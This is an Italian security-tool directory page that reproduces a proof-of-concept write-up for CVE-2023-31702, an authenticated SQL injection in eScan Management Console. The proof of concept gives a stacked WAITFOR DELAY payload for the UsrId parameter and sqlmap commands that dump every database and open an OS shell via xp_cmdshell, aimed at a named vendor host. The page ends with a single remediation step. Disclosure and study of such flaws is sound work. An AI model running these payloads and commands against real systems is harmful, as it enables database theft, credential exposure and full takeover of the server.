Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-31702 — CVE-2023-31702 è una vulnerabilità di SQL Injection autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281. | Kitploit
Strumenti/GitHubGitHub/sahiloj/cve-2023-31702
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHubsahiloj/cve-2023-31702

CVE-2023-31702

CVE-2023-31702 è una vulnerabilità di SQL Injection autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281.

Vedi Repository
21178 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-31702 — Iniezione SQL nella eScan Management Console (Autenticata)

CVE Severity Type Auth


Panoramica

CVE-2023-31702 è una vulnerabilità di iniezione SQL autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281. La vulnerabilità è presente nell'endpoint GetUserCurrentPwd, dove il parametro UsrId viene passato direttamente in una query SQL senza un'adeguata sanitizzazione o parametrizzazione. Un attaccante autenticato può sfruttare questa falla per eseguire un'iniezione SQL cieca basata sul tempo, estrarre l'intero database backend e, infine, ottenere una shell interattiva del sistema operativo sul Microsoft SQL Server sottostante, portando alla completa compromissione del sistema.


Dettagli della Vulnerabilità

CampoDettagli
ID CVECVE-2023-31702
Tipo di VulnerabilitàIniezione SQL (Cieca Basata sul Tempo / Query Impilate)
Prodotto InteressatoMicroWorld Technologies eScan Management Console
Versione Interessata14.0.1400.2281
Endpoint Vulnerabile/ewconsole/ewconsole.dll/GetUserCurrentPwd
Parametro VulnerabileUsrId
AutenticazioneRichiesta (credenziali valide della console)
Testato SuWindows
Punteggio CVSS v3.18.8 (Alto)
Vettore CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Data di Segnalazione16 maggio 2023
AutoreSahil Ojha

Software Interessato

CampoDettagli
FornitoreMicroWorld Technologies
ProdottoeScan Management Console
Homepage del Fornitorehttps://www.escanav.com
Link del Softwarehttps://cl.escanav.com/ewconsole.dll
PiattaformaWindows

Descrizione della Vulnerabilità

La eScan Management Console fornisce un'interfaccia web per la gestione della sicurezza degli endpoint nella rete di un'organizzazione. La funzionalità "View User Profile" espone un endpoint di tipo REST:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

Il parametro UsrId viene incorporato in una query SQL backend senza validazione, escaping o utilizzo di query parametrizzate. Ciò consente a un attaccante autenticato di iniettare istruzioni SQL arbitrarie nella query, con i seguenti risultati:

  • Iniezione SQL Cieca Basata sul Tempo — utilizzo di WAITFOR DELAY per confermare la sfruttabilità.
  • Esecuzione di Query Impilate — consente payload di iniezione multi-istruzione.
  • Dump Completo del Database — estrazione di tutte le tabelle, gli utenti, le credenziali e i dati sensibili dal backend SQL Server.
  • Esecuzione di Comandi del Sistema Operativo — sfruttamento della stored procedure xp_cmdshell di SQL Server (abilitata tramite sp_configure) per eseguire comandi arbitrari del sistema operativo sul server con i privilegi dell'account di servizio di SQL Server.

Impatto

Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante di:

  • 🔴 Eseguire il dump dell'intero database SQL Server, incluse credenziali utente, dati di configurazione e informazioni aziendali sensibili.
  • 🔴 Ottenere una shell interattiva del sistema operativo sul server Windows che ospita l'istanza di SQL Server.
  • 🔴 Eseguire comandi arbitrari del sistema operativo (ad es., creare account backdoor, esfiltrare dati, effettuare pivot verso risorse di rete interne).
  • 🔴 Compromettere completamente il server di gestione eScan e potenzialmente tutti gli endpoint che gestisce.

⚠️ Nota: L'attaccante deve prima ottenere credenziali valide per la eScan Management Console. Tuttavia, una volta autenticato, lo sfruttamento è semplice e non richiede privilegi elevati sulla console.


Prova di Concetto

Passo 1 — Accedere all'Endpoint Vulnerabile

Dopo aver effettuato l'autenticazione alla eScan Management Console, accedere al seguente URL:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Questo restituisce i dati del profilo utente corrente, confermando che l'endpoint è accessibile.

Vulnerable Endpoint


Passo 2 — Confermare l'Iniezione SQL con Payload Basato sul Tempo

Iniettare il seguente payload di ritardo temporale nel parametro UsrId:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Analisi del payload:

  • ; — termina l'istruzione SQL originale e ne inizia una nuova (query impilata).
  • WAITFOR DELAY '0:0:5' — istruisce SQL Server a mettere in pausa per 5 secondi prima di rispondere.
  • -- — commenta il resto della query originale per prevenire errori di sintassi.

Se la risposta del server subisce un ritardo di ~5 secondi, l'iniezione è confermata.

Time-Based Injection Confirmed


Passo 3 — Eseguire il Dump dei Database con SQLMap

Una volta confermata l'iniezione SQL cieca, l'intero database può essere estratto utilizzando SQLMap:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Questo comando enumera tutti i database ospitati sul backend SQL Server.


Passo 4 — Ottenere una Shell del Sistema Operativo tramite SQLMap

SQLMap può inoltre elevare l'attacco all'esecuzione di comandi a livello di sistema operativo abilitando e sfruttando xp_cmdshell:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Questo stabilisce una shell interattiva del sistema operativo sull'host di SQL Server.

Obtaining OS Shell via SQLMap


Passo 5 — Eseguire Comandi del Sistema Operativo sul Server

Con la shell del sistema operativo stabilita, è possibile eseguire comandi Windows arbitrari sul server:

Executing OS Commands


Rimedio

Si raccomandano vivamente le seguenti misure per rimediare e mitigare questa vulnerabilità:

  1. Utilizzare Query Parametrizzate / Prepared Statements — Non concatenare mai l'input fornito dall'utente direttamente nelle query SQL. Utilizzare parametri associati per separare i dati dalla logica della query.
Scarica lo strumento